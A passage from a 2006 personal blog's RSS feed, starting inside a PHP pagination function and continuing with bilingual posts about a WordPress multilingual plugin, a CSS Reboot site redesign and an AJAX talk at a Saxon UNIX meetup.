<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="re0">$strResult</span> .= <span class="st0">&#8216;&lt;a href=&quot;?p=&#8217;</span>.<span class="re0">$i</span>.<span class="st0">&#8216;&quot; class=&quot;p&quot;&gt;&#8217;</span>.<span class="re0">$i</span>.<span class="st0">&#8216;&lt;/a&gt; &#8216;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$i</span> == <span class="re0">$p</span>+<span class="re0">$u</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$i</span> &lt; <span class="re0">$m</span><span class="nu0">-1</span><span class="br0">&#41;</span> <span class="re0">$strResult</span> .= <span class="st0">&#8216; &#8230; &#8216;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$p</span> == <span class="re0">$m</span><span class="br0">&#41;</span> <span class="re0">$strResult</span> .= <span class="re0">$m</span>.<span class="st0">&#8216; &#8216;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="re0">$strResult</span> .= <span class="st0">&#8216;&lt;a href=&quot;?p=&#8217;</span>.<span class="re0">$m</span>.<span class="st0">&#8216;&quot; class=&quot;p&quot;&gt;&#8217;</span>.<span class="re0">$m</span>.<span class="st0">&#8216;&lt;/a&gt;&#8217;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> <span class="re0">$strResult</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>&nbsp;</p>
<p>Download the code <a href="/scripts/php_paging.zip">here</a>.</p>
<p>&nbsp;</p>
<p>Example:<br /><img src="/img/content/paging.png" style="border:1px solid #ccc;"/></p>
]]></content:encoded>
			<wfw:commentRss>http://knoxmic.net/paging-function-in-php/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Multilingual Plugin for WordPress</title>
		<link>http://knoxmic.net/multilingual-plugin-for-wordpress/</link>
		<comments>http://knoxmic.net/multilingual-plugin-for-wordpress/#comments</comments>
		<pubDate>Sun, 30 Apr 2006 16:44:39 +0000</pubDate>
		<dc:creator>Ronny Engelmann</dc:creator>
		
		<category><![CDATA[webdesign]]></category>

		<guid isPermaLink="false">http://knoxmic.net/multilingual-plugin-for-wordpress/</guid>
		<description><![CDATA[My last two posts already indicate, that I try to display my page in two languages: german and english. The current solution to display all the content in two languages is not satisfactory at all. It is planned to remedy this deficiencies soon and to display the particular language of every visitor. This will be [...]]]></description>
			<content:encoded><![CDATA[<p>My last two posts already indicate, that I try to display my page in two languages: german and english. The current solution to display all the content in two languages is not satisfactory at all. It is planned to remedy this deficiencies soon and to display the particular language of every visitor. This will be implemented with the help of an wordpress-plugin. In regard to that I found this plugin <a href="http://fredfred.net/skriker/index.php/polyglot/">Polyglot</a>. <strong>But maybe there is a better one available?</strong></p>
<p style="border-bottom:1px solid #ccc;">&nbsp;</p>
<p>&nbsp;</p>
<p>Wie an den letzten beiden Posts unschwer zu erkennen ist versuche ich Teile der Webseite mittlerweile Zweisprachig zu erstellen. Die aktuelle Lösung die den Inhalt einfach in beiden Sprachen anzeigt ist natürlich alles andere als zufriedenstellend. In naher Zukunft ist geplant diesen Umstand zu beseitigen und den Inhalt über ein Wordpress-Plugin in der jeweiligen Sprache des Besuchers anzuzeigen. Diesbezüglich ist mir das Plugin <a href="http://fredfred.net/skriker/index.php/polyglot/">Polyglot</a> aufgefallen. <strong>Aber gibt es vielleicht noch ein anderes &#8220;bessers&#8221; Plugin?</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://knoxmic.net/multilingual-plugin-for-wordpress/feed/</wfw:commentRss>
		</item>
		<item>
		<title>CSS Reboot Spring 2006</title>
		<link>http://knoxmic.net/css-reboot-spring-2006/</link>
		<comments>http://knoxmic.net/css-reboot-spring-2006/#comments</comments>
		<pubDate>Sat, 29 Apr 2006 21:21:11 +0000</pubDate>
		<dc:creator>Ronny Engelmann</dc:creator>
		
		<category><![CDATA[webdesign]]></category>

		<guid isPermaLink="false">http://knoxmic.net/css-reboot-spring-2006/</guid>
		<description><![CDATA[Now I am already taking part in css reboot for the second time. The new design got uploaded on april 29th. I know that the official date for reboot is May 1st but I could not wait and I prefer to use this public holiday to prepair myself for my final verification.
&#160;
It’s been changed a [...]]]></description>
			<content:encoded><![CDATA[<p>Now I am already taking part in <a href="http://www.cssreboot.com/">css reboot</a> for the second time. The new design got uploaded on april 29th. I know that the official date for reboot is May 1st but I could not wait and I prefer to use this public holiday to prepair myself for my final verification.</p>
<p>&nbsp;</p>
<p><strong>It’s been changed a lot!</strong> This time I tried to fill out the whole monitor of my visitors, I think I did a good job with a screen resolution of 1024&#215;786 pixel. The &#8220;<a href="/bookmarks/">bookmarks</a>&#8221; area has been upgraded with a &#8220;news&#8221; part. During the next weeks, or months, I am trying my best to integrate all rss-feeds I´m reading daily. The former flickr-photostream as a simple display got changed into an own page, <a href="http://www.randombyte.net/blog/category/projects/falbum/">FAlbum</a> was a great help doing that. Unfortunately there are still some tiny mistakes, such as the menu bar that does not adjust correctly in different browsers. In &#8220;<a href="/my-photos/">myphotos</a>&#8221; area there is also a lot of work to do. I will finish debugging, when there is more time.</p>
<p>&nbsp;</p>
<p>There are also two further new designtemplates that are worth to take a look at: <a href="http://zinra.de">zinra.de</a> and <a href="http://bigr-solutions.net">bigr-solutions.net</a></p>
<p style="border-bottom:1px solid #ccc;">&nbsp;</p>
<p>&nbsp;</p>
<p>Mittlerweile zum zweiten Mal nehme ich am <a href="http://www.cssreboot.com/">CSS Reboot</a> teil. Das neue Design ist seit heute dem 29. April online, zwar ist der offizielle Termin für den Reboot zwei Tage später, eigentlich am 1. Mai, ich nutze diesen freien Tag aber vorzugsweise zur Vorbereitung für meine Abschlussprüfung.</p>
<p>&nbsp;</p>
<p><strong>Viel hat sich geändert!</strong> Diesmal habe ich versucht den Monitor des Betrachters ganz auszufüllen, das ist mir bei einer Auflösung von 1024&#215;768 Pixel wie ich finde auch ganz gut gelungen. Der Bereich &#8220;<a href="/bookmarks/">bookmarks</a>&#8221; wurde um einen neuen &#8220;news&#8221; Teil erweitert. In den nächsten Tagen, wohl eher Wochen, versuche ich dort alle RSS-Feeds die ich täglich lese unterzubringen. Aus der bisherigen einfachen Anzeige meines Flickr-Photostreams habe ich dank <a href="http://www.randombyte.net/blog/category/projects/falbum/">FAlbum</a> eine eigene Seite geschaffen. Leider sind bei diesem Theme noch kleine Fehler versteckt, zum Beispiel richtet sich die Navigationsleiste auf den unterschiedlichen Browsern noch nicht so aus wie es sein soll. Im Bereich &#8220;<a href="/my-photos/">my photo</a>&#8221; gibt es ebenso noch viel zu tun. Sobald wieder etwas Zeit ist, versuche ich diese Fehler zu beseitigen.</p>
<p>&nbsp;</p>
<p>Neben diesen Design sind auch die neuen Templates für <a href="http://zinra.de">zinra.de</a> und <a href="http://bigr-solutions.net">bigr-solutions.net</a> online.</p>
]]></content:encoded>
			<wfw:commentRss>http://knoxmic.net/css-reboot-spring-2006/feed/</wfw:commentRss>
		</item>
		<item>
		<title>UNIX-Stammtisch in Sachsen: Vortrag zu AJAX</title>
		<link>http://knoxmic.net/unix-stammtisch-in-sachsen-vortrag-zu-ajax/</link>
		<comments>http://knoxmic.net/unix-stammtisch-in-sachsen-vortrag-zu-ajax/#comments</comments>
		<pubDate>Tue, 25 Apr 2006 17:42:28 +0000</pubDate>
		<dc:creator>Ronny Engelmann</dc:creator>
		
		<category><![CDATA[ajax]]></category>

		<guid isPermaLink="false">http://knoxmic.net/unix-stammtisch-in-sachsen-vortrag-zu-ajax/</guid>
		<description><![CDATA[Old technique in a new design. AJAX supports to be more active in web. On April 25th Christian Aurich and I lectured on UNIX-Crackerbarrel in Saxony on implementation of AJAX. The Subject of &#8220;web2.0&#8221; also came up, but was looked at more critically.
&#160;
&#160;
Alte Technik neu verpackt. AJAX hilft Anwendungen im Web interaktiver zu werden. Am [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Old technique in a new design. AJAX supports to be more active in web.</strong> On April 25th <a href="http://www.bigr-solutions.net">Christian Aurich</a> and I lectured on <a href="http://www.tu-chemnitz.de/urz/stammtisch/" title="UNIX-Stammtisch in Sachsen">UNIX-Crackerbarrel in Saxony</a> on implementation of AJAX. The Subject of &#8220;<a href="http://de.wikipedia.org/wiki/Web_2.0" title="Web 2.0">web2.0</a>&#8221; also came up, but was looked at more critically.</p>
<p style="border-bottom:1px solid #ccc;">&nbsp;</p>
<p>&nbsp;</p>
<p><strong>Alte Technik neu verpackt. AJAX hilft Anwendungen im Web interaktiver zu werden.</strong> Am 25. April 2006 haben <a href="http://www.bigr-solutions.net">Christian Aurich</a> und ich am <a href="http://www.tu-chemnitz.de/urz/stammtisch/" title="UNIX-Stammtisch in Sachsen">UNIX Stammtisch in Sachsen</a> einen Vortrag zur Implementierung von AJAX gehalten. Auch das sogenannte &#8220;<a href="http://de.wikipedia.org/wiki/Web_2.0" title="Web 2.0">Web 2.0</a>&#8221; ist ein Teil des Vortrages gewesen, dessen Betrachtung jedoch sehr kritisch ausgefallen ist.</p>
<p>
<p style="padding:0 40px;"><img src="/img/default/pdf.jpg" alt="" style="float:left;padding-right:15px;"/>Die Folien zum Vortrag können <a href="http://www.knoxmic.net/pdf/ajax_vortrag.pdf" title="Vortrag zu AJAX hier herunterladen">hier</a> heruntergeladen werden, auch die gezeigten Beispiele stehen zum <a href="http://www.knoxmic.net/pdf/ajax_samples.zip" title="Beispiele zu AJAX">download</a>.</p>
<div class="clear"></div>
<p>&nbsp;</p>
<p><span style="background-color:#ecf2ff;">Update:</span> Aktueller <a href="http://chaosradio.ccc.de/cr112.html">Podcast</a> auf Chaosradio Web 2.0 - Verheißungen und Realität des neuen Webs</p>
<div class="clear"></div>
]]></content:encoded>
			<wfw:commentRss>http://knoxmic.net/unix-stammtisch-in-sachsen-vortrag-zu-ajax/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
